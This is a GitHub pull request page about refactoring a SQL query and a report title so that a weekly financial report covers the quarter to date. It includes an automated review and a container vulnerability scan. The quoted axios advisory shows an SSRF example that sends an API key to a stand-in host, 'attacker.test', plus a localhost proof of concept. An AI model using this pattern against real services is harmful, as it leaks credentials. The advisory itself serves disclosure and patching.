Skip to content

Refactor SQL query for improved date range logic #68

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 3 commits into from
Jul 3, 2025

Conversation

anatolyshipitz
Copy link
Collaborator

  • Updated the date range logic in the TARGET_UNITS_QUERY to calculate the start date of the quarter dynamically, ensuring accurate reporting for target units.
  • Adjusted the composeWeeklyReportTitle method to set the period start based on the current quarter, enhancing the clarity and accuracy of weekly financial reports.

These changes improve the accuracy of financial data retrieval and reporting in the application.

- Updated the date range logic in the TARGET_UNITS_QUERY to calculate the start date of the quarter dynamically, ensuring accurate reporting for target units.
- Adjusted the `composeWeeklyReportTitle` method to set the period start based on the current quarter, enhancing the clarity and accuracy of weekly financial reports.

These changes improve the accuracy of financial data retrieval and reporting in the application.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner July 2, 2025 10:28
Copy link

coderabbitai bot commented Jul 2, 2025

📝 Walkthrough
## Walkthrough

The changes update the date range logic in both a SQL query and a report title generator. Instead of using a weekly window, both now calculate the start date as the first day of the current quarter, extending the reporting and data aggregation period to cover the entire quarter up to the end of the previous week.

## Changes

| File(s)                                                                                  | Change Summary                                                                                                 |
|-----------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|
| workers/main/src/services/TargetUnit/queries.ts                                         | Modified SQL query to filter records from the first day of the current quarter to the end of the previous week.|
| workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts       | Updated report title date range logic to start from the current quarter's first day instead of previous week.  |

## Sequence Diagram(s)

```mermaid
sequenceDiagram
    participant User
    participant WeeklyFinancialReportRepository
    participant Database

    User->>WeeklyFinancialReportRepository: Request weekly report
    WeeklyFinancialReportRepository->>Database: Query data (from quarter start to last week)
    Database-->>WeeklyFinancialReportRepository: Return filtered data
    WeeklyFinancialReportRepository->>WeeklyFinancialReportRepository: Compose report title (quarter start to last week)
    WeeklyFinancialReportRepository-->>User: Return report with updated date range

Suggested reviewers

  • killev

</details>

<!-- walkthrough_end -->
<!-- internal state start -->


<!-- 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 -->

<!-- internal state end -->
<!-- finishing_touch_checkbox_start -->

<details open="true">
<summary>✨ Finishing Touches</summary>

- [ ] <!-- {"checkboxId": "7962f53c-55bc-4827-bfbf-6a18da830691"} --> 📝 Generate Docstrings

</details>

<!-- finishing_touch_checkbox_end -->
<!-- tips_start -->

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

<details>
<summary>❤️ Share</summary>

- [X](https://twitter.com/intent/tweet?text=I%20just%20used%20%40coderabbitai%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20the%20proprietary%20code.%20Check%20it%20out%3A&url=https%3A//coderabbit.ai)
- [Mastodon](https://mastodon.social/share?text=I%20just%20used%20%40coderabbitai%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20the%20proprietary%20code.%20Check%20it%20out%3A%20https%3A%2F%2Fcoderabbit.ai)
- [Reddit](https://www.reddit.com/submit?title=Great%20tool%20for%20code%20review%20-%20CodeRabbit&text=I%20just%20used%20CodeRabbit%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20proprietary%20code.%20Check%20it%20out%3A%20https%3A//coderabbit.ai)
- [LinkedIn](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Fcoderabbit.ai&mini=true&title=Great%20tool%20for%20code%20review%20-%20CodeRabbit&summary=I%20just%20used%20CodeRabbit%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20proprietary%20code)

</details>

<details>
<summary>🪧 Tips</summary>

### Chat

There are 3 ways to chat with [CodeRabbit](https://coderabbit.ai?utm_source=oss&utm_medium=github&utm_campaign=speedandfunction/automatization&utm_content=68):

- Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  - `I pushed a fix in commit <commit_id>, please review it.`
  - `Explain this complex logic.`
  - `Open a follow-up GitHub issue for this discussion.`
- Files and specific lines of code (under the "Files changed" tab): Tag `@coderabbitai` in a new review comment at the desired location with your query. Examples:
  - `@coderabbitai explain this code block.`
  -	`@coderabbitai modularize this function.`
- PR comments: Tag `@coderabbitai` in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  - `@coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.`
  - `@coderabbitai read src/utils.ts and explain its main purpose.`
  - `@coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.`
  - `@coderabbitai help me debug CodeRabbit configuration file.`

### Support

Need help? Create a ticket on our [support page](https://www.coderabbit.ai/contact-us/support) for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

### CodeRabbit Commands (Invoked using PR comments)

- `@coderabbitai pause` to pause the reviews on a PR.
- `@coderabbitai resume` to resume the paused reviews.
- `@coderabbitai review` to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
- `@coderabbitai full review` to do a full review from scratch and review all the files again.
- `@coderabbitai summary` to regenerate the summary of the PR.
- `@coderabbitai generate docstrings` to [generate docstrings](https://docs.coderabbit.ai/finishing-touches/docstrings) for this PR.
- `@coderabbitai generate sequence diagram` to generate a sequence diagram of the changes in this PR.
- `@coderabbitai resolve` resolve all the CodeRabbit review comments.
- `@coderabbitai configuration` to show the current CodeRabbit configuration for the repository.
- `@coderabbitai help` to get help.

### Other keywords and placeholders

- Add `@coderabbitai ignore` anywhere in the PR description to prevent this PR from being reviewed.
- Add `@coderabbitai summary` to generate the high-level summary at a specific location in the PR description.
- Add `@coderabbitai` anywhere in the PR title to generate the title automatically.

### CodeRabbit Configuration File (`.coderabbit.yaml`)

- You can programmatically configure CodeRabbit by adding a `.coderabbit.yaml` file to the root of your repository.
- Please see the [configuration documentation](https://docs.coderabbit.ai/guides/configure-coderabbit) for more information.
- If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: `# yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json`

### Documentation and Community

- Visit our [Documentation](https://docs.coderabbit.ai) for detailed information on how to use CodeRabbit.
- Join our [Discord Community](http://discord.gg/coderabbit) to get help, request features, and share feedback.
- Follow us on [X/Twitter](https://twitter.com/coderabbitai) for updates and announcements.

</details>

<!-- tips_end -->

@anatolyshipitz anatolyshipitz enabled auto-merge (squash) July 2, 2025 10:28
Copy link

github-actions bot commented Jul 2, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:76b235793c50cfdfc586db67473e3b54fff0dc8dcd4f8121d268130d9cb7702d
vulnerabilitiescritical: 2 high: 7 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 1 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.023%
EPSS Percentile5th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2025--22874

Affected range>=1.24.0-0
<1.24.4
Fixed version1.24.4
EPSS Score0.022%
EPSS Percentile4th percentile
Description

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.025%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score29.397%
EPSS Percentile96th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.123%
EPSS Percentile33rd percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.170%
EPSS Percentile39th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.019%
EPSS Percentile3rd percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.054%
EPSS Percentile17th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

153-171: Consider renaming the method to reflect the new quarterly scope.

The method is named composeWeeklyReportTitle but now generates titles for quarterly periods. This could be misleading for future maintainers.

Consider renaming to better reflect the actual functionality:

-  private composeWeeklyReportTitle(currentDate: Date): string {
+  private composeQuarterlyReportTitle(currentDate: Date): string {

And update the return string to reflect the quarterly nature:

-    return `*Weekly Financial Summary for Target Units* (${periodStart} - ${periodEnd})`;
+    return `*Quarterly Financial Summary for Target Units* (${periodStart} - ${periodEnd})`;

Also update the call site on line 39:

-    const reportTitle = this.composeWeeklyReportTitle(currentDate);
+    const reportTitle = this.composeQuarterlyReportTitle(currentDate);
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 283c216 and 773ebca.

📒 Files selected for processing (2)
  • workers/main/src/services/TargetUnit/queries.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1 hunks)
🧰 Additional context used
🧠 Learnings (1)
📓 Common learnings
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: SonarQube
  • GitHub Check: Service Availability Check
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (2)
workers/main/src/services/TargetUnit/queries.ts (1)

28-36: Simplify the SQL quarter date calculation
Lines 28–36 in workers/main/src/services/TargetUnit/queries.ts

The current logic uses nested DATE_SUB calls with modulo arithmetic to compute the quarter start date. While mathematically correct, it’s hard to read and maintain. Please refactor to:

  • Extract the week-end date into a single expression or CTE:
    week_end := DATE_SUB(CURDATE(), INTERVAL WEEKDAY(CURDATE()) + 1 DAY)
  • Use QUARTER(week_end) to get the quarter number.
  • Build the quarter-start via CONCAT and LPAD, e.g.:
    CONCAT(YEAR(week_end), '-', LPAD((quarter_num - 1) * 3 + 1, 2, '0'), '-01')
  • Wrap these in a CTE or subquery to avoid repeating the same functions.

Example refactor:

WITH params AS (
  SELECT
    DATE_SUB(CURDATE(), INTERVAL WEEKDAY(CURDATE()) + 1 DAY) AS week_end,
    QUARTER(DATE_SUB(CURDATE(), INTERVAL WEEKDAY(CURDATE()) + 1 DAY)) AS quarter_num
)
...
WHERE te.spent_on BETWEEN
  CONCAT(
    YEAR(params.week_end),
    '-',
    LPAD((params.quarter_num - 1) * 3 + 1, 2, '0'),
    '-01'
  )
  AND params.week_end

This approach is clearer, DRYs up repeated calculations, and makes future maintenance easier. Please verify that it produces the correct quarter boundaries for all edge cases.

workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

154-158: Confirm SQL and TypeScript quarter logic consistency

I wasn’t able to locate a SQL query in the WeeklyFinancialReport service that calculates the quarter start date, so please manually verify that your database-side logic matches the new TypeScript implementation:

  • Ensure the SQL used for quarterly reporting (e.g. via date_trunc('quarter', …) or equivalent EXTRACT/QUARTER functions) produces the same first-of-quarter dates as:
    const quarter = Math.floor(currentDate.getMonth() / 3);
    const periodStart = new Date(currentDate.getFullYear(), quarter * 3, 1);
  • Confirm that this change from weekly to quarterly reporting scope aligns with your business requirements.

coderabbitai[bot]
coderabbitai bot previously approved these changes Jul 2, 2025
- Simplified the construction of the periodStart date in the `composeWeeklyReportTitle` method by removing unnecessary line breaks, enhancing code readability.
- This change contributes to cleaner code while maintaining the existing functionality of generating weekly financial report titles.

These improvements streamline the codebase and support better maintainability of the financial reporting features.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 773ebca and 76cfefa.

📒 Files selected for processing (1)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1 hunks)
🧰 Additional context used
🧠 Learnings (1)
📓 Common learnings
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (1)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

154-155: Confirm SQL quarter logic in TargetUnit queries

I didn’t find any quarter‐calculation logic in workers/main/src/services/TargetUnit/queries.ts. Please manually verify that the SQL there uses the same quarter‐calculation (Math.floor(getMonth()/3)) or update the query to align with the repository code.

• File to check:

  • workers/main/src/services/TargetUnit/queries.ts

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good

Copy link

sonarqubecloud bot commented Jul 3, 2025

@anatolyshipitz anatolyshipitz merged commit c1b5b38 into main Jul 3, 2025
12 checks passed
@anatolyshipitz anatolyshipitz deleted the issue/fix-date-range branch July 3, 2025 07:31
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants